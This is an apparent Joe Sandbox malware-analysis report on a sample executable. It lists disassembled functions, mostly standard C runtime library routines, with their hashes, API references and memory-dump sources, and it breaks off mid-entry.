Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: PathVolume$ActiveAtomConsoleDebugDirectoryEnvironmentFindFirstFreeGlobalInfoInputMountNamePointProcessReadRemoveSearchStrings
String ID: $bexominayunaciyihogucutejefif kijafakesapazayavixukatezekiv zawetotacegopurisidutuhelirozi$cayetapufutida$humuyoh$rivujiherasanarocicewowupaja$sugihetopovegonehaculayihimus$@@
API String ID: 1075561957-1249441868
Opcode ID: de7613d92442acc92b606536f73ec0928528c305ca9532b5f22de2c36750cff2
Instruction ID: 2c296cb6ea46a7a1c4f6a704c5952f716e1cccc024c05e4f67b617e850c20392
Opcode Fuzzy Hash: de7613d92442acc92b606536f73ec0928528c305ca9532b5f22de2c36750cff2
Instruction Fuzzy Hash: BC5104B1D01219EFCB10CFA8D988A9EBBB9FF48311F108166E505F7260D734AA45CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040A40C Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,005D2440,0000000C,0040A547,00000000,00000000,?,?,00407D09,00407EC3,00000001,?,004051CE,00000001,?), ref: 0040A41E
__crt_waiting_on_module_handle.LIBCMT ref: 0040A429

Part of subcall function 00405C46: Sleep.KERNEL32(000003E8,?,?,0040A36F,KERNEL32.DLL,?,0040B55A,?,00407EBD,?,00000001,?,004051CE,00000001,?), ref: 00405C52
Part of subcall function 00405C46: GetModuleHandleW.KERNEL32(?,?,?,0040A36F,KERNEL32.DLL,?,0040B55A,?,00407EBD,?,00000001,?,004051CE,00000001,?), ref: 00405C5B

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 0040A452
GetProcAddress.KERNEL32(?,DecodePointer), ref: 0040A462
__lock.LIBCMT ref: 0040A484
InterlockedIncrement.KERNEL32(005D48A8), ref: 0040A491
__lock.LIBCMT ref: 0040A4A5
___addlocaleref.LIBCMT ref: 0040A4C3

Strings

EncodePointer, xrefs: 0040A446
KERNEL32.DLL, xrefs: 0040A418, 0040A41D, 0040A428
DecodePointer, xrefs: 0040A45A

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
Opcode ID: e86fb24cb9984c5e3ad45e89a45aad65dbaada85dd109eae8daefd4383258a7b
Instruction ID: 731ddda71b638b6d238d1c5abd92134538ba9cf0231ef6d837f69a4577dd30e3
Opcode Fuzzy Hash: e86fb24cb9984c5e3ad45e89a45aad65dbaada85dd109eae8daefd4383258a7b
Instruction Fuzzy Hash: 3D119071400701AED720AF7AD945B5ABBE0EF04318F10853FE499B62E1C7B899418F5D

Uniqueness

Uniqueness Score: -1.00%

Function 00406A2A Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 00406A52

Part of subcall function 00406576: __getptd.LIBCMT ref: 00406584
Part of subcall function 00406576: __getptd.LIBCMT ref: 00406592

__getptd.LIBCMT ref: 00406A5C

Part of subcall function 0040A56C: __getptd_noexit.LIBCMT ref: 0040A56F
Part of subcall function 0040A56C: __amsg_exit.LIBCMT ref: 0040A57C

__getptd.LIBCMT ref: 00406A6A
__getptd.LIBCMT ref: 00406A78
__getptd.LIBCMT ref: 00406A83
_CallCatchBlock2.LIBCMT ref: 00406AA9

Part of subcall function 0040661B: __CallSettingFrame@12.LIBCMT ref: 00406667

Part of subcall function 00406B50: __getptd.LIBCMT ref: 00406B5F
Part of subcall function 00406B50: __getptd.LIBCMT ref: 00406B6D

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: d2d84dba7a44a06f4c045cbef42b05c61a63b69ccab390f936cd648beab31437
Instruction ID: 647e5d338d9a534ca623e653987177106001b77b2dc6cfc18af297a025cc89d9
Opcode Fuzzy Hash: d2d84dba7a44a06f4c045cbef42b05c61a63b69ccab390f936cd648beab31437
Instruction Fuzzy Hash: B111D7B1C00309EFDB00EFA5D945AED7BB0FF04314F15806AF854A7291DB389A219F59

Uniqueness

Uniqueness Score: -1.00%

Function 00409013 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00409035
__calloc_crt.LIBCMT ref: 0040904E

Strings

`Zh, xrefs: 00409065
F], xrefs: 0040907A
pD], xrefs: 00409087

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: __calloc_crt
String ID: `Zh$pD]$F]
API String ID: 3494438863-1774951608
Opcode ID: a3e6ae2388779e7fdfb35b78dc22b485bae5f198c0273997e8d005b9bbf605cd
Instruction ID: 928507f16508146611fc0c5405454b627c74a4787e08ca63e15d666fe88487c9
Opcode Fuzzy Hash: a3e6ae2388779e7fdfb35b78dc22b485bae5f198c0273997e8d005b9bbf605cd
Instruction Fuzzy Hash: BD11A33170461067E7388A2DBCD07A22686B784738F24433BE612EB3D1E738CC814788

Uniqueness

Uniqueness Score: -1.00%

Function 00406DD7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 00406DEA

Part of subcall function 00406D45: ___BuildCatchObjectHelper.LIBCMT ref: 00406D7B

_UnwindNestedFrames.LIBCMT ref: 00406E01
___FrameUnwindToState.LIBCMT ref: 00406E0F

Strings

csm, xrefs: 00406DE6, 00406DFB, 00406E0E, 00406E2C, 00406E3C
D#], xrefs: 00406DD9

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: D#]$csm
API String ID: 2163707966-3072043196
Opcode ID: 2d611d18984dedf267cdb7ef4b8752393003a5e34e3fe70bd9b60e366d216b3b
Instruction ID: 165d52aaeefbcc74b1478282deb1627571c172dca2d1b97a2d28139701869b90
Opcode Fuzzy Hash: 2d611d18984dedf267cdb7ef4b8752393003a5e34e3fe70bd9b60e366d216b3b
Instruction Fuzzy Hash: DE014B7510010ABBDF126F52CC41EEB3F6AEF04354F11802AFD19251A0DB3A99B1EBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040E9A1 Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040E9AD

Part of subcall function 0040A56C: __getptd_noexit.LIBCMT ref: 0040A56F
Part of subcall function 0040A56C: __amsg_exit.LIBCMT ref: 0040A57C

__amsg_exit.LIBCMT ref: 0040E9CD
__lock.LIBCMT ref: 0040E9DD
InterlockedDecrement.KERNEL32(?), ref: 0040E9FA
InterlockedIncrement.KERNEL32(023D1660), ref: 0040EA25

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: d5c7a10002ca50355fb61ab0e6f22f947540c863035a87c97bf652e5527330ec
Instruction ID: 4503c5fab465be3e77f3ab9a23cbf15d730b4d297a47647c0e0a1dfdf037a5ff
Opcode Fuzzy Hash: d5c7a10002ca50355fb61ab0e6f22f947540c863035a87c97bf652e5527330ec
Instruction Fuzzy Hash: FD018271A0261197CB21AB6BA80675A7760BB04714F05047BE800773D1C73C9D619FD9

Uniqueness

Uniqueness Score: -1.00%

Function 00407ECE Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00407EEC

Part of subcall function 0040B021: __mtinitlocknum.LIBCMT ref: 0040B037
Part of subcall function 0040B021: __amsg_exit.LIBCMT ref: 0040B043
Part of subcall function 0040B021: EnterCriticalSection.KERNEL32(?,?,?,0040981D,00000004,005D2420,0000000C,0040BE29,?,?,00000000,00000000,00000000,?,0040A51E,00000001), ref: 0040B04B

___sbh_find_block.LIBCMT ref: 00407EF7
___sbh_free_block.LIBCMT ref: 00407F06
HeapFree.KERNEL32(00000000,?,005D23C0,0000000C,0040B002,00000000,005D24F8,0000000C,0040B03C,?,?,?,0040981D,00000004,005D2420,0000000C), ref: 00407F36
GetLastError.KERNEL32(?,0040981D,00000004,005D2420,0000000C,0040BE29,?,?,00000000,00000000,00000000,?,0040A51E,00000001,00000214), ref: 00407F47

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 1affc71a82c9321a36d9c7581778b495fef3fa647ddc123e292e07e01a08f03b
Instruction ID: c2a7b450f71c5985e0bf6910fb292852cfe500300070e7457171674023845dc0
Opcode Fuzzy Hash: 1affc71a82c9321a36d9c7581778b495fef3fa647ddc123e292e07e01a08f03b
Instruction Fuzzy Hash: D3014431D09206EADF217BB2AC06B5E3B64AF00724F20417FF614B61D1CA3C99459A9E

Uniqueness

Uniqueness Score: -1.00%

Function 0040D9C3 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040835A), ref: 0040D9C8
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 0040D9D8

Strings

IsProcessorFeaturePresent, xrefs: 0040D9D2
KERNEL32, xrefs: 0040D9C3

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 56b4dd67aa28d0270ad47457a49c6e109402388cba18dcb7490fbf9853a3e004
Instruction ID: 3adbb724ebf3aacfc5fdfb6c6b3c1da491be98603761976f4331c8c24da7194c
Opcode Fuzzy Hash: 56b4dd67aa28d0270ad47457a49c6e109402388cba18dcb7490fbf9853a3e004
Instruction Fuzzy Hash: 13F03070A00A09E2DF002FE1BE1E76F7A78BB80706F9205B1D5D2B01D4DF7484B9825E

Uniqueness

Uniqueness Score: -1.00%

Function 00406766 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00406780

Part of subcall function 0040A56C: __getptd_noexit.LIBCMT ref: 0040A56F
Part of subcall function 0040A56C: __amsg_exit.LIBCMT ref: 0040A57C

__getptd.LIBCMT ref: 00406791
__getptd.LIBCMT ref: 0040679F

Strings

MOC, xrefs: 00406772

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC
API String ID: 803148776-624257665
Opcode ID: fb8c3504542e4ead8e18bb6b17f7fb4facecd1aac5d8d28e4f66fc5d461b71a2
Instruction ID: f7ce04b09f88ea8bf92b9c9145b32e90dda9830af457c7117f7f413b5d6e582e
Opcode Fuzzy Hash: fb8c3504542e4ead8e18bb6b17f7fb4facecd1aac5d8d28e4f66fc5d461b71a2
Instruction Fuzzy Hash: 41E01A351102049FC710EA75C446B2932A4FB98318F2A01B6A449D73A3C73CE864999B

Uniqueness

Uniqueness Score: -1.00%

Function 0040A912 Relevance: 6.1, APIs: 4, Instructions: 137COMMONLIBRARYCODE

Download Yara Rule

APIs

__flush.LIBCMT ref: 0040A9D6
__fileno.LIBCMT ref: 0040A9F6
__locking.LIBCMT ref: 0040A9FD
__flsbuf.LIBCMT ref: 0040AA28

Part of subcall function 00407D04: __getptd_noexit.LIBCMT ref: 00407D04

Part of subcall function 00407C9C: __decode_pointer.LIBCMT ref: 00407CA7

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: 4abcd3e90e3eeff08e5f6d1d1a7d2ca56d7ab9a9c0e65f050a082b580b217641
Instruction ID: 6b185403a09135d3cdfe71ca90db48756e84bdf2f1615a13fe70eddab420801c
Opcode Fuzzy Hash: 4abcd3e90e3eeff08e5f6d1d1a7d2ca56d7ab9a9c0e65f050a082b580b217641
Instruction Fuzzy Hash: 0E41D271B00705ABDB24DF6A894459FBBB1AF80320B25853AE455B72C0E738DE61CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 004101E0 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00410214
__isleadbyte_l.LIBCMT ref: 00410248
MultiByteToWideChar.KERNEL32(00000080,00000009,00000083,?,?,00000000,?,?,?), ref: 00410279
MultiByteToWideChar.KERNEL32(00000080,00000009,00000083,00000001,?,00000000,?,?,?), ref: 004102E7

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 3094912399eafe4c9120304394b683b5c6838703fbbcbcabab58bc919b0b3da0
Instruction ID: 960adf5eefed5afcf71e394529e192730cd826e97c9618db805dfe3d2f05c971
Opcode Fuzzy Hash: 3094912399eafe4c9120304394b683b5c6838703fbbcbcabab58bc919b0b3da0
Instruction Fuzzy Hash: 2F31A231900345EFDB20DFA4C8889FB3BA5AF05310F1485EAE4659B295D3B4DDC1DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040D8AF Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040D8D5

Part of subcall function 0040D6FA: __fltout2.LIBCMT ref: 0040D726

__cftog_l.LIBCMT ref: 0040D8FB
__cftoe_l.LIBCMT ref: 0040D92D

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 9d379b0f9b63e5e7efc0ae3dc1d7e3a920820ee5fe13a46407f56c0e058609a7
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: B3117E7280004EBBCF125FC5DC05CEE3F22BB19354B588426FA1869171C23AC9B5AB89

Uniqueness

Uniqueness Score: -1.00%

Function 00405F99 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00405FB3

Part of subcall function 00407E04: __FF_MSGBANNER.LIBCMT ref: 00407E27
Part of subcall function 00407E04: __NMSG_WRITE.LIBCMT ref: 00407E2E
Part of subcall function 00407E04: RtlAllocateHeap.NTDLL(00000000,?,?,?,00000001,?,004051CE,00000001,?,?,?,?,?,00403CDF,?), ref: 00407E7B

std::bad_alloc::bad_alloc.LIBCMT ref: 00405FD6

Part of subcall function 00405F7E: std::exception::exception.LIBCMT ref: 00405F8A

std::bad_exception::bad_exception.LIBCMT ref: 00405FEA
__CxxThrowException@8.LIBCMT ref: 00405FF8

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: d951278054cfe522775f70655d549f723877a08e51c399a84401819e538b49d1
Instruction ID: e0addd6f77398e2ef15ee5c24ce697e48ca5abe13a041db92bcb68d774908759
Opcode Fuzzy Hash: d951278054cfe522775f70655d549f723877a08e51c399a84401819e538b49d1
Instruction Fuzzy Hash: 58F0E231A0591A62CB14B766EC0699B3B98DB0031CB1400BBFC01BA2D1EF3C9E05858D

Uniqueness

Uniqueness Score: -1.00%

Function 0040F10D Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040F119

Part of subcall function 0040A56C: __getptd_noexit.LIBCMT ref: 0040A56F
Part of subcall function 0040A56C: __amsg_exit.LIBCMT ref: 0040A57C

__getptd.LIBCMT ref: 0040F130
__amsg_exit.LIBCMT ref: 0040F13E
__lock.LIBCMT ref: 0040F14E

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 6b3ce3f6d2b60aec49528a0569f0e2bc54c7890dd6c859b36278b5f41fe69c72
Instruction ID: 02dd47f1232a967a6620a44f67286bc153f77ac22c8bb58f6a868c1d9a4322db
Opcode Fuzzy Hash: 6b3ce3f6d2b60aec49528a0569f0e2bc54c7890dd6c859b36278b5f41fe69c72
Instruction Fuzzy Hash: BCF04932901700DAD630BBA6C80275A33A0AB40729F14413FE480BB6D2CB3CAC499E9E

Uniqueness

Uniqueness Score: -1.00%

Function 00406B50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004065C9: __getptd.LIBCMT ref: 004065CF
Part of subcall function 004065C9: __getptd.LIBCMT ref: 004065DF

__getptd.LIBCMT ref: 00406B5F

Part of subcall function 0040A56C: __getptd_noexit.LIBCMT ref: 0040A56F
Part of subcall function 0040A56C: __amsg_exit.LIBCMT ref: 0040A57C

__getptd.LIBCMT ref: 00406B6D

Strings

csm, xrefs: 00406B7B

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: e424a0896c80f3f9fdcf6ce60fb0fcfd85ca7a1a309b3671b1e8155142a597e3
Instruction ID: da7cc3cbec5f761aee6c8faca9a410b090dd5b739f3c5e14fd933f613c3b4d6f
Opcode Fuzzy Hash: e424a0896c80f3f9fdcf6ce60fb0fcfd85ca7a1a309b3671b1e8155142a597e3
Instruction Fuzzy Hash: 74014F768112149ACF349F25D44566EB3B5AF14321F15443FE092BA6D1CB3CAAB4CF19

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: klWGq3yDcQ.exePID: 6240, Parent PID: 7116COMMON

Execution Graph

Execution Coverage:	24.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	194
Total number of Limit Nodes:	22

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 006C5FE7 Relevance: 4.5, APIs: 3, Instructions: 19
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 006C5FF3

Part of subcall function 006959A8: __getptd_noexit.LIBCMT ref: 006959AB
Part of subcall function 006959A8: __amsg_exit.LIBCMT ref: 006959B8

__endthreadex.LIBCMT ref: 006C6003

Part of subcall function 006C5FAA: __IsNonwritableInCurrentImage.LIBCMT ref: 006C5FBD
Part of subcall function 006C5FAA: __getptd_noexit.LIBCMT ref: 006C5FCD
Part of subcall function 006C5FAA: __freeptd.LIBCMT ref: 006C5FD7
Part of subcall function 006C5FAA: __XcptFilter.LIBCMT ref: 006C6014

Memory Dump Source

Source File: 00000001.00000002.2866921685.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2866921685.0000000000824000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2866921685.0000000000843000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: __getptd_noexit$CurrentFilterImageNonwritableXcpt__amsg_exit__endthreadex__freeptd__getptd
String ID:
API String ID: 3678608364-0
Opcode ID: a89283c4aba3c99d0b47ffbdad6a7f8d104b49c00d8e382c7f34c9978f4e5ab4
Instruction ID: d5ace2e70bc2d3c52d8088d9385be9d0b72b17dae02ad738aec28fd26f28fbfb
Opcode Fuzzy Hash: a89283c4aba3c99d0b47ffbdad6a7f8d104b49c00d8e382c7f34c9978f4e5ab4
Instruction Fuzzy Hash: 65E0ECB5954605DFEB58ABA0C806E7E776AEF48311F20404CF1029B6A2CA75A984DF25

Uniqueness

Uniqueness Score: -1.00%

Function 00694A87 Relevance: 3.0, APIs: 2, Instructions: 44
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___sbh_find_block.LIBCMT ref: 00694AB0
___sbh_free_block.LIBCMT ref: 00694ABF

Memory Dump Source

Source File: 00000001.00000002.2866921685.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2866921685.0000000000824000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2866921685.0000000000843000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: ___sbh_find_block___sbh_free_block
String ID:
API String ID: 2610245434-0
Opcode ID: 9db0c556acab1491db248113d37050be2404d0ef9ce48b7016d2b94a45aa8b63
Instruction ID: d2f168f1c234fbc1eb0db84b56c896eb6ac808ee96d716f7e41c0537d1ba3495
